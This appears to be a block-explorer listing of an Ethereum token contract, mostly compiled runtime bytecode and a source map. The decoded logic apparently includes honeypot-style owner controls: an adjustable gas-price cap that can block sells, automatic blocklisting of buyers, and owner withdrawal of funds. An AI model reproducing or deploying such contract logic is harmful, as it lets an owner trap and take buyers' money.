b506102e86102e3366004611435565b6107f0565b604051901515815260200161028c565b34801561030457600080fd5b50600354610282565b34801561031957600080fd5b5061032261085d565b005b34801561033057600080fd5b506102e861033f36600461145f565b61089e565b34801561035057600080fd5b50610282610960565b34801561036557600080fd5b506103226109d1565b34801561037a57600080fd5b506040516012815260200161028c565b34801561039657600080fd5b506103226103a53660046114ac565b610a08565b3480156103b657600080fd5b506006546102e89060ff1681565b3480156103d057600080fd5b50600f546102e890640100000000900460ff1681565b3480156103f257600080fd5b506102e86104013660046114e3565b610a5d565b34801561041257600080fd5b506103226104213660046114fe565b610a6b565b34801561043257600080fd5b506102e86104413660046114e3565b60116020526000908152604090205460ff1681565b34801561046257600080fd5b50610282600a5481565b34801561047857600080fd5b506102826104873660046114e3565b6001600160a01b031660009081526007602052604090205490565b3480156104ae57600080fd5b50610322610b3c565b3480156104c357600080fd5b506103226104d2366004611584565b610bb0565b3480156104e357600080fd5b506103226104f23660046114ac565b610c22565b34801561050357600080fd5b5061028260045481565b34801561051957600080fd5b5061028260055481565b34801561052f57600080fd5b506102e861053e366004611435565b610c77565b34801561054f57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161028c565b34801561058157600080fd5b506102e86105903660046114e3565b60096020526000908152604090205460ff1681565b3480156105b157600080fd5b506000546001600160a01b031661055d565b3480156105cf57600080fd5b506103226105de3660046114ac565b610d6b565b3480156105ef57600080fd5b506103226105fe36600461159d565b610dc0565b34801561060f57600080fd5b5061032261061e366004611584565b610e36565b34801561062f57600080fd5b50600c5461055d906001600160a01b031681565b34801561064f57600080fd5b506102e861065e366004611435565b610e97565b34801561066f57600080fd5b50600f546102e890610100900460ff1681565b34801561068e57600080fd5b50600f546102e89062010000900460ff1681565b3480156106ae57600080fd5b50610282600e5481565b3480156106c457600080fd5b506102e86106d33660046114e3565b60106020526000908152604090205460ff1681565b3480156106f457600080fd5b50610322610ea4565b34801561070957600080fd5b50600f546102e89065010000000000900460ff1681565b34801561072c57600080fd5b5061028261073b3660046115ba565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561077257600080fd5b506102e86107813660046114e3565b600d6020526000908152604090205460ff1681565b3480156107a257600080fd5b506103226107b13660046114e3565b610edd565b3480156107c257600080fd5b50600b5461055d906001600160a01b031681565b3480156107e257600080fd5b50600f546102e89060ff1681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061084b9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108905760405162461bcd60e51b8152600401610887906115ed565b60405180910390fd5b600f805462ff000019169055565b6001600160a01b03831660009081526008602090815260408083203384529091528120546000191461094b576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600882528381203382529091529190912054610926918490610fc7565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610956848484611001565b90505b9392505050565b60076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5461dead60009081527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d5460035491926109cc9290916109c691906112d9565b906112d9565b905090565b6000546001600160a01b031633146109fb5760405162461bcd60e51b8152600401610887906115ed565b600f805461ff0019169055565b6000546001600160a01b03163314610a325760405162461bcd60e51b8152600401610887906115ed565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000610857826000196107f0565b6000546001600160a01b03163314610a955760405162461bcd60e51b8152600401610887906115ed565b600f5462010000900460ff16610ac75760405162461bcd60e51b81526020600482015260006024820152604401610887565b60005b82811015610b36578160106000868685818110610ae957610ae9611622565b9050602002016020810190610afe91906114e3565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b2f8161164e565b9050610aca565b50505050565b6000546001600160a01b03163314610b665760405162461bcd60e51b8152600401610887906115ed565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610bda5760405162461bcd60e51b8152600401610887906115ed565b47336108fc6064610beb8585611667565b610bf5919061167e565b6040518115909202916000818181858888f19350505050158015610c1d573d6000803e3d6000fd5b505050565b6000546001600160a01b03163314610c4c5760405162461bcd60e51b8152600401610887906115ed565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b600080546001600160a01b03163314610ca25760405162461bcd60e51b8152600401610887906115ed565b306001600160a01b03841603610cfa5760405162461bcd60e51b815260206004820152601c60248201527f43616e742072656d6f766520746865206e617469766520746f6b656e000000006044820152606401610887565b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610d47573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095991906116a0565b6000546001600160a01b03163314610d955760405162461bcd60e51b8152600401610887906115ed565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610dea5760405162461bcd60e51b8152600401610887906115ed565b600f5462010000900460ff16610e1c5760405162461bcd60e51b81526020600482015260006024820152604401610887565b600f80549115156101000261ff0019909216919091179055565b6000546001600160a01b03163314610e605760405162461bcd60e51b8152600401610887906115ed565b600f5462010000900460ff16610e925760405162461bcd60e51b81526020600482015260006024820152604401610887565b600a55565b6000610959338484611001565b6000546001600160a01b03163314610ece5760405162461bcd60e51b8152600401610887906115ed565b600f805460ff19166001179055565b6000546001600160a01b03163314610f075760405162461bcd60e51b8152600401610887906115ed565b6001600160a01b038116610f6c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610887565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610feb5760405162461bcd60e51b815260040161088791906113cb565b506000610ff884866116bd565b95945050505050565b600f546000906301000000900460ff16156110285761102184848461131b565b9050610959565b6001600160a01b03841660009081526001602052604090205460ff1615801561106a57506001600160a01b03831660009081526001602052604090205460ff16155b1561109b57600f5460ff1661109b5760405162461bcd60e51b81526020600482015260006024820152604401610887565b600e541580156110c357506001600160a01b0383166000908152600d602052604090205460ff165b15611110576001600160a01b0384166000908152600760205260409020546111075760405162461bcd60e51b81526020600482015260006024820152604401610887565b61111043600e55565b600f54610100900460ff1615611163576001600160a01b03841660009081526010602052604090205460ff16156111635760405162461bcd60e51b81526020600482015260006024820152604401610887565b600c546001600160a01b03848116911614801561119957506001600160a01b03841660009081526001602052604090205460ff16155b156111ca57600a543a11156111ca5760405162461bcd60e51b81526020600482015260006024820152604401610887565b600a543a101580156111ea5750600c546001600160a01b03848116911614155b15611213576001600160a01b0383166000908152601060205260409020805460ff191660011790555b604080516020808201835260008083526001600160a01b038816815260079091529190912054611244918490610fc7565b6001600160a01b038086166000908152600760205260408082209390935590851681522054611273908361136c565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112c79086815260200190565b60405180910390a35060019392505050565b600061095983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc7565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054611244918490610fc7565b60008061137983856116d0565b9050838110156109595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610887565b600060208083528351808285015260005b818110156113f8578581018301518582016040015282016113dc565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461143057600080fd5b919050565b6000806040838503121561144857600080fd5b61145183611419565b946020939093013593505050565b60008060006060848603121561147457600080fd5b61147d84611419565b925061148b60208501611419565b9150604084013590509250925092565b80151581146114a957600080fd5b50565b600080604083850312156114bf57600080fd5b6114c883611419565b915060208301356114d88161149b565b809150509250929050565b6000602082840312156114f557600080fd5b61095982611419565b60008060006040848603121561151357600080fd5b833567ffffffffffffffff8082111561152b57600080fd5b818601915086601f83011261153f57600080fd5b81358181111561154e57600080fd5b8760208260051b850101111561156357600080fd5b602092830195509350508401356115798161149b565b809150509250925092565b60006020828403121561159657600080fd5b5035919050565b6000602082840312156115af57600080fd5b81356109598161149b565b600080604083850312156115cd57600080fd5b6115d683611419565b91506115e460208401611419565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161166057611660611638565b5060010190565b808202811582820484141761085757610857611638565b60008261169b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156116b257600080fd5b81516109598161149b565b8181038181111561085757610857611638565b808201808211156108575761085761163856fea26469706673582212207822333a6dbeecedaa9024725f17f166ee1a4dfa10526948933d20f8f759299864736f6c63430008130033
Deployed Bytecode Sourcemap
4984:7518:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6393:54;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;6393:54:0;;;;;;;;7427:78;;;;;;;;;;-1:-1:-1;7498:5:0;;;;;;;;;;;-1:-1:-1;;;7498:5:0;;;;7427:78;;;;7498:5;7427:78;:::i;8269:216::-;;;;;;;;;;-1:-1:-1;8269:216:0;;;;;:::i;:::-;;:::i;:::-;;;1351:14:1;;1344:22;1326:41;;1314:2;1299:18;8269:216:0;1186:187:1;7689:86:0;;;;;;;;;;-1:-1:-1;7761:12:0;;7689:86;;11866:78;;;;;;;;;;;;;:::i;:::-;;9476:370;;;;;;;;;;-1:-1:-1;9476:370:0;;;;;:::i;:::-;;:::i;8119:142::-;;;;;;;;;;;;;:::i;11952:73::-;;;;;;;;;;;;;:::i;7603:78::-;;;;;;;;;;-1:-1:-1;7603:78:0;;5341:2;1853:36:1;;1841:2;1826:18;7603:78:0;1711:184:1;11747:111:0;;;;;;;;;;-1:-1:-1;11747:111:0;;;;;:::i;:::-;;:::i;5635:33::-;;;;;;;;;;-1:-1:-1;5635:33:0;;;;;;;;6188:40;;;;;;;;;;-1:-1:-1;6188:40:0;;;;;;;;;;;8493:122;;;;;;;;;;-1:-1:-1;8493:122:0;;;;;:::i;:::-;;:::i;11372:244::-;;;;;;;;;;-1:-1:-1;11372:244:0;;;;;:::i;:::-;;:::i;6340:44::-;;;;;;;;;;-1:-1:-1;6340:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5861:34;;;;;;;;;;;;;;;;7869:103;;;;;;;;;;-1:-1:-1;7869:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7952:18:0;7935:7;7952:18;;;:9;:18;;;;;;;7869:103;4577:148;;;;;;;;;;;;;:::i;12296:201::-;;;;;;;;;;-1:-1:-1;12296:201:0;;;;;:::i;:::-;;:::i;11624:115::-;;;;;;;;;;-1:-1:-1;11624:115:0;;;;;:::i;:::-;;:::i;5419:54::-;;;;;;;;;;;;;;;;5480:52;;;;;;;;;;;;;;;;12033:255;;;;;;;;;;-1:-1:-1;12033:255:0;;;;;:::i;:::-;;:::i;7783:78::-;;;;;;;;;;-1:-1:-1;7835:7:0;4426:6;-1:-1:-1;;;;;4426:6:0;7783:78;;;-1:-1:-1;;;;;3638:32:1;;;3620:51;;3608:2;3593:18;7783:78:0;3474:203:1;5805:47:0;;;;;;;;;;-1:-1:-1;5805:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4361:79;;;;;;;;;;-1:-1:-1;4399:7:0;4426:6;-1:-1:-1;;;;;4426:6:0;4361:79;;10888:124;;;;;;;;;;-1:-1:-1;10888:124:0;;;;;:::i;:::-;;:::i;11229:127::-;;;;;;;;;;-1:-1:-1;11229:127:0;;;;;:::i;:::-;;:::i;11020:116::-;;;;;;;;;;-1:-1:-1;11020:116:0;;;;;:::i;:::-;;:::i;5934:19::-;;;;;;;;;;-1:-1:-1;5934:19:0;;;;-1:-1:-1;;;;;5934:19:0;;;8974:156;;;;;;;;;;-1:-1:-1;8974:156:0;;;;;:::i;:::-;;:::i;6079:30::-;;;;;;;;;;-1:-1:-1;6079:30:0;;;;;;;;;;;6116:29;;;;;;;;;;-1:-1:-1;6116:29:0;;;;;;;;;;;6007:25;;;;;;;;;;;;;;;;6289:44;;;;;;;;;;-1:-1:-1;6289:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11144:77;;;;;;;;;;;;;:::i;6235:45::-;;;;;;;;;;-1:-1:-1;6235:45:0;;;;;;;;;;;7980:131;;;;;;;;;;-1:-1:-1;7980:131:0;;;;;:::i;:::-;-1:-1:-1;;;;;8081:19:0;;;8064:7;8081:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;7980:131;5960:38;;;;;;;;;;-1:-1:-1;5960:38:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4733:244;;;;;;;;;;-1:-1:-1;4733:244:0;;;;;:::i;:::-;;:::i;5904:23::-;;;;;;;;;;-1:-1:-1;5904:23:0;;;;-1:-1:-1;;;;;5904:23:0;;;6041:31;;;;;;;;;;-1:-1:-1;6041:31:0;;;;;;;;8269:216;8373:10;8344:4;8361:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;8361:32:0;;;;;;;;;;:41;;;8418:37;8344:4;;8361:32;;8418:37;;;;8396:6;160:25:1;;148:2;133:18;;14:177;8418:37:0;;;;;;;;-1:-1:-1;8473:4:0;8269:216;;;;;:::o;11866:78::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;;;;;;;;;11918:10:::1;:18:::0;;-1:-1:-1;;11918:18:0::1;::::0;;11866:78::o;9476:370::-;-1:-1:-1;;;;;9597:19:0;;9576:4;9597:19;;;:11;:19;;;;;;;;9617:10;9597:31;;;;;;;;-1:-1:-1;;9597:52:0;9593:188;;9700:69;;;;;;;;;;;-1:-1:-1;;;9700:69:0;;;;;;;;-1:-1:-1;;;;;9700:19:0;;-1:-1:-1;9700:19:0;;;:11;:19;;;;;9720:10;9700:31;;;;;;;;;;:69;;9736:6;;9700:35;:69::i;:::-;-1:-1:-1;;;;;9666:19:0;;;;;;:11;:19;;;;;;;;9686:10;9666:31;;;;;;;:103;9593:188;9798:40;9812:6;9820:9;9831:6;9798:13;:40::i;:::-;9791:47;;9476:370;;;;;;:::o;8119:142::-;7952:9;:18;;;;5091:42;8172:7;7952:18;;;;;8199:12;;8172:7;;8199:54;;7952:18;;8199:33;;:12;:16;:33::i;:::-;:37;;:54::i;:::-;8192:61;;8119:142;:::o;11952:73::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;11998:11:::1;:19:::0;;-1:-1:-1;;11998:19:0::1;::::0;;11952:73::o;11747:111::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11825:16:0;;;::::1;;::::0;;;:6:::1;:16;::::0;;;;:25;;-1:-1:-1;;11825:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11747:111::o;8493:122::-;8548:4;8572:35;8580:7;-1:-1:-1;;8572:7:0;:35::i;11372:244::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;11478:10:::1;::::0;;;::::1;;;11470:23;;;::::0;-1:-1:-1;;;11470:23:0;;4981:2:1;11470:23:0::1;::::0;::::1;4963:21:1::0;-1:-1:-1;5000:18:1;;;4993:29;5039:18;;11470:23:0::1;4779:284:1::0;11470:23:0::1;11509:9;11504:105;11520:20:::0;;::::1;11504:105;;;11591:6;11562:12;:26;11575:9;;11585:1;11575:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11562:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11562:26:0;:35;;-1:-1:-1;;11562:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11542:3:::1;::::0;::::1;:::i;:::-;;;11504:105;;;;11372:244:::0;;;:::o;4577:148::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;4684:1:::1;4668:6:::0;;4647:40:::1;::::0;-1:-1:-1;;;;;4668:6:0;;::::1;::::0;4647:40:::1;::::0;4684:1;;4647:40:::1;4715:1;4698:19:::0;;-1:-1:-1;;;;;;4698:19:0::1;::::0;;4577:148::o;12296:201::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;12393:21:::1;12433:10;12425:64;12485:3;12454:28;12466:16:::0;12393:21;12454:28:::1;:::i;:::-;:34;;;;:::i;:::-;12425:64;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12362:135;12296:201:::0;:::o;11624:115::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11698:24:0;;;::::1;;::::0;;;:14:::1;:24;::::0;;;;:33;;-1:-1:-1;;11698:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11624:115::o;12033:255::-;12118:12;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;12175:4:::1;-1:-1:-1::0;;;;;12151:29:0;::::1;::::0;12143:70:::1;;;::::0;-1:-1:-1;;;12143:70:0;;6069:2:1;12143:70:0::1;::::0;::::1;6051:21:1::0;6108:2;6088:18;;;6081:30;6147;6127:18;;;6120:58;6195:18;;12143:70:0::1;5867:352:1::0;12143:70:0::1;12231:49;::::0;-1:-1:-1;;;12231:49:0;;12261:10:::1;12231:49;::::0;::::1;6398:51:1::0;6465:18;;;6458:34;;;-1:-1:-1;;;;;12231:29:0;::::1;::::0;::::1;::::0;6371:18:1;;12231:49:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;10888:124::-:0;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10975:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:29;;-1:-1:-1;;10975:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10888:124::o;11229:127::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;11301:10:::1;::::0;;;::::1;;;11293:23;;;::::0;-1:-1:-1;;;11293:23:0;;4981:2:1;11293:23:0::1;::::0;::::1;4963:21:1::0;-1:-1:-1;5000:18:1;;;4993:29;5039:18;;11293:23:0::1;4779:284:1::0;11293:23:0::1;11327:11;:21:::0;;;::::1;;;;-1:-1:-1::0;;11327:21:0;;::::1;::::0;;;::::1;::::0;;11229:127::o;11020:116::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;11090:10:::1;::::0;;;::::1;;;11082:23;;;::::0;-1:-1:-1;;;11082:23:0;;4981:2:1;11082:23:0::1;::::0;::::1;4963:21:1::0;-1:-1:-1;5000:18:1;;;4993:29;5039:18;;11082:23:0::1;4779:284:1::0;11082:23:0::1;11116:5;:12:::0;11020:116::o;8974:156::-;9054:4;9078:44;9092:10;9104:9;9115:6;9078:13;:44::i;11144:77::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;11195:11:::1;:18:::0;;-1:-1:-1;;11195:18:0::1;11209:4;11195:18;::::0;;11144:77::o;4733:244::-;4488:6;;-1:-1:-1;;;;;4488:6:0;3797:10;4488:22;4480:67;;;;-1:-1:-1;;;4480:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4822:22:0;::::1;4814:73;;;::::0;-1:-1:-1;;;4814:73:0;;6955:2:1;4814:73:0::1;::::0;::::1;6937:21:1::0;6994:2;6974:18;;;6967:30;7033:34;7013:18;;;7006:62;-1:-1:-1;;;7084:18:1;;;7077:36;7130:19;;4814:73:0::1;6753:402:1::0;4814:73:0::1;4924:6;::::0;;4903:38:::1;::::0;-1:-1:-1;;;;;4903:38:0;;::::1;::::0;4924:6;::::1;::::0;4903:38:::1;::::0;::::1;4952:6;:17:::0;;-1:-1:-1;;;;;;4952:17:0::1;-1:-1:-1::0;;;;;4952:17:0;;;::::1;::::0;;;::::1;::::0;;4733:244::o;495:190::-;581:7;617:12;609:6;;;;601:29;;;;-1:-1:-1;;;601:29:0;;;;;;;;:::i;:::-;-1:-1:-1;641:9:0;653:5;657:1;653;:5;:::i;:::-;641:17;495:190;-1:-1:-1;;;;;495:190:0:o;9854:1026::-;9967:16;;9946:4;;9967:16;;;;;9963:73;;;9993:41;10008:6;10016:9;10027:6;9993:14;:41::i;:::-;9986:48;;;;9963:73;-1:-1:-1;;;;;10050:22:0;;;;;;:14;:22;;;;;;;;10049:23;:53;;;;-1:-1:-1;;;;;;10077:25:0;;;;;;:14;:25;;;;;;;;10076:26;10049:53;10046:108;;;10126:11;;;;10118:24;;;;-1:-1:-1;;;10118:24:0;;4981:2:1;10118:24:0;;;4963:21:1;-1:-1:-1;5000:18:1;;;4993:29;5039:18;;10118:24:0;4779:284:1;10118:24:0;8690:10;;:15;;;10170:32;;-1:-1:-1;;;;;;10185:17:0;;;;;;:6;:17;;;;;;;;10170:32;10166:122;;;-1:-1:-1;;;;;10227:17:0;;10247:1;10227:17;;;:9;:17;;;;;;10219:34;;;;-1:-1:-1;;;10219:34:0;;4981:2:1;10219:34:0;;;4963:21:1;-1:-1:-1;5000:18:1;;;4993:29;5039:18;;10219:34:0;4779:284:1;10219:34:0;10268:8;8772:12;8759:10;:25;8721:71;10268:8;10326:11;;;;;;;10322:77;;;-1:-1:-1;;;;;10363:20:0;;;;;;:12;:20;;;;;;;;10362:21;10354:33;;;;-1:-1:-1;;;10354:33:0;;4981:2:1;10354:33:0;;;4963:21:1;-1:-1:-1;5000:18:1;;;4993:29;5039:18;;10354:33:0;4779:284:1;10354:33:0;10428:4;;-1:-1:-1;;;;;10415:17:0;;;10428:4;;10415:17;:44;;;;-1:-1:-1;;;;;;10437:22:0;;;;;;:14;:22;;;;;;;;10436:23;10415:44;10411:111;;;10499:5;;10484:11;:20;;10476:33;;;;-1:-1:-1;;;10476:33:0;;4981:2:1;10476:33:0;;;4963:21:1;-1:-1:-1;5000:18:1;;;4993:29;5039:18;;10476:33:0;4779:284:1;10476:33:0;10551:5;;10536:11;:20;;:41;;;;-1:-1:-1;10573:4:0;;-1:-1:-1;;;;;10560:17:0;;;10573:4;;10560:17;;10536:41;10532:104;;;-1:-1:-1;;;;;10594:23:0;;;;;;:12;:23;;;;;:30;;-1:-1:-1;;10594:30:0;10620:4;10594:30;;;10532:104;10696:33;;;;;;;;;-1:-1:-1;10696:33:0;;;-1:-1:-1;;;;;10696:17:0;;;;:9;:17;;;;;;;;:33;;10718:6;;10696:21;:33::i;:::-;-1:-1:-1;;;;;10676:17:0;;;;;;;:9;:17;;;;;;:53;;;;10765:20;;;;;;;:32;;10790:6;10765:24;:32::i;:::-;-1:-1:-1;;;;;10742:20:0;;;;;;;:9;:20;;;;;;;:55;;;;10815:35;;;;;;;;;;10843:6;160:25:1;;148:2;133:18;;14:177;10815:35:0;;;;;;;;-1:-1:-1;10868:4:0;9854:1026;;;;;:::o;351:136::-;409:7;436:43;440:1;443;436:43;;;;;;;;;;;;;;;;;:3;:43::i;9138:330::-;9268:53;;;;;;;;;;;-1:-1:-1;;;9268:53:0;;;;;;;;-1:-1:-1;;;;;9268:17:0;;9231:4;9268:17;;;:9;:17;;;;;;;:53;;9290:6;;9268:21;:53::i;164:179::-;222:7;;254:5;258:1;254;:5;:::i;:::-;242:17;;283:1;278;:6;;270:46;;;;-1:-1:-1;;;270:46:0;;7625:2:1;270:46:0;;;7607:21:1;7664:2;7644:18;;;7637:30;7703:29;7683:18;;;7676:57;7750:18;;270:46:0;7423:351:1;196:548;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:173::-;817:20;;-1:-1:-1;;;;;866:31:1;;856:42;;846:70;;912:1;909;902:12;846:70;749:173;;;:::o;927:254::-;995:6;1003;1056:2;1044:9;1035:7;1031:23;1027:32;1024:52;;;1072:1;1069;1062:12;1024:52;1095:29;1114:9;1095:29;:::i;:::-;1085:39;1171:2;1156:18;;;;1143:32;;-1:-1:-1;;;927:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:118::-;1986:5;1979:13;1972:21;1965:5;1962:32;1952:60;;2008:1;2005;1998:12;1952:60;1900:118;:::o;2023:315::-;2088:6;2096;2149:2;2137:9;2128:7;2124:23;2120:32;2117:52;;;2165:1;2162;2155:12;2117:52;2188:29;2207:9;2188:29;:::i;:::-;2178:39;;2267:2;2256:9;2252:18;2239:32;2280:28;2302:5;2280:28;:::i;:::-;2327:5;2317:15;;;2023:315;;;;;:::o;2343:186::-;2402:6;2455:2;2443:9;2434:7;2430:23;2426:32;2423:52;;;2471:1;2468;2461:12;2423:52;2494:29;2513:9;2494:29;:::i;2534:750::-;2626:6;2634;2642;2695:2;2683:9;2674:7;2670:23;2666:32;2663:52;;;2711:1;2708;2701:12;2663:52;2751:9;2738:23;2780:18;2821:2;2813:6;2810:14;2807:34;;;2837:1;2834;2827:12;2807:34;2875:6;2864:9;2860:22;2850:32;;2920:7;2913:4;2909:2;2905:13;2901:27;2891:55;;2942:1;2939;2932:12;2891:55;2982:2;2969:16;3008:2;3000:6;2997:14;2994:34;;;3024:1;3021;3014:12;2994:34;3079:7;3072:4;3062:6;3059:1;3055:14;3051:2;3047:23;3043:34;3040:47;3037:67;;;3100:1;3097;3090:12;3037:67;3131:4;3123:13;;;;-1:-1:-1;3155:6:1;-1:-1:-1;;3196:20:1;;3183:34;3226:28;3183:34;3226:28;:::i;:::-;3273:5;3263:15;;;2534:750;;;;;:::o;3289:180::-;3348:6;3401:2;3389:9;3380:7;3376:23;3372:32;3369:52;;;3417:1;3414;3407:12;3369:52;-1:-1:-1;3440:23:1;;3289:180;-1:-1:-1;3289:180:1:o;3682:241::-;3738:6;3791:2;3779:9;3770:7;3766:23;3762:32;3759:52;;;3807:1;3804;3797:12;3759:52;3846:9;3833:23;3865:28;3887:5;3865:28;:::i;3928:260::-;3996:6;4004;4057:2;4045:9;4036:7;4032:23;4028:32;4025:52;;;4073:1;4070;4063:12;4025:52;4096:29;4115:9;4096:29;:::i;:::-;4086:39;;4144:38;4178:2;4167:9;4163:18;4144:38;:::i;:::-;4134:48;;3928:260;;;;;:::o;4418:356::-;4620:2;4602:21;;;4639:18;;;4632:30;4698:34;4693:2;4678:18;;4671:62;4765:2;4750:18;;4418:356::o;5068:127::-;5129:10;5124:3;5120:20;5117:1;5110:31;5160:4;5157:1;5150:15;5184:4;5181:1;5174:15;5200:127;5261:10;5256:3;5252:20;5249:1;5242:31;5292:4;5289:1;5282:15;5316:4;5313:1;5306:15;5332:135;5371:3;5392:17;;;5389:43;;5412:18;;:::i;:::-;-1:-1:-1;5459:1:1;5448:13;;5332:135::o;5472:168::-;5545:9;;;5576;;5593:15;;;5587:22;;5573:37;5563:71;;5614:18;;:::i;5645:217::-;5685:1;5711;5701:132;;5755:10;5750:3;5746:20;5743:1;5736:31;5790:4;5787:1;5780:15;5818:4;5815:1;5808:15;5701:132;-1:-1:-1;5847:9:1;;5645:217::o;6503:245::-;6570:6;6623:2;6611:9;6602:7;6598:23;6594:32;6591:52;;;6639:1;6636;6629:12;6591:52;6671:9;6665:16;6690:28;6712:5;6690:28;:::i;7160:128::-;7227:9;;;7248:11;;;7245:37;;;7262:18;;:::i;7293:125::-;7358:9;;;7379:10;;;7376:36;;;7392:18;;:::i
Swarm Source
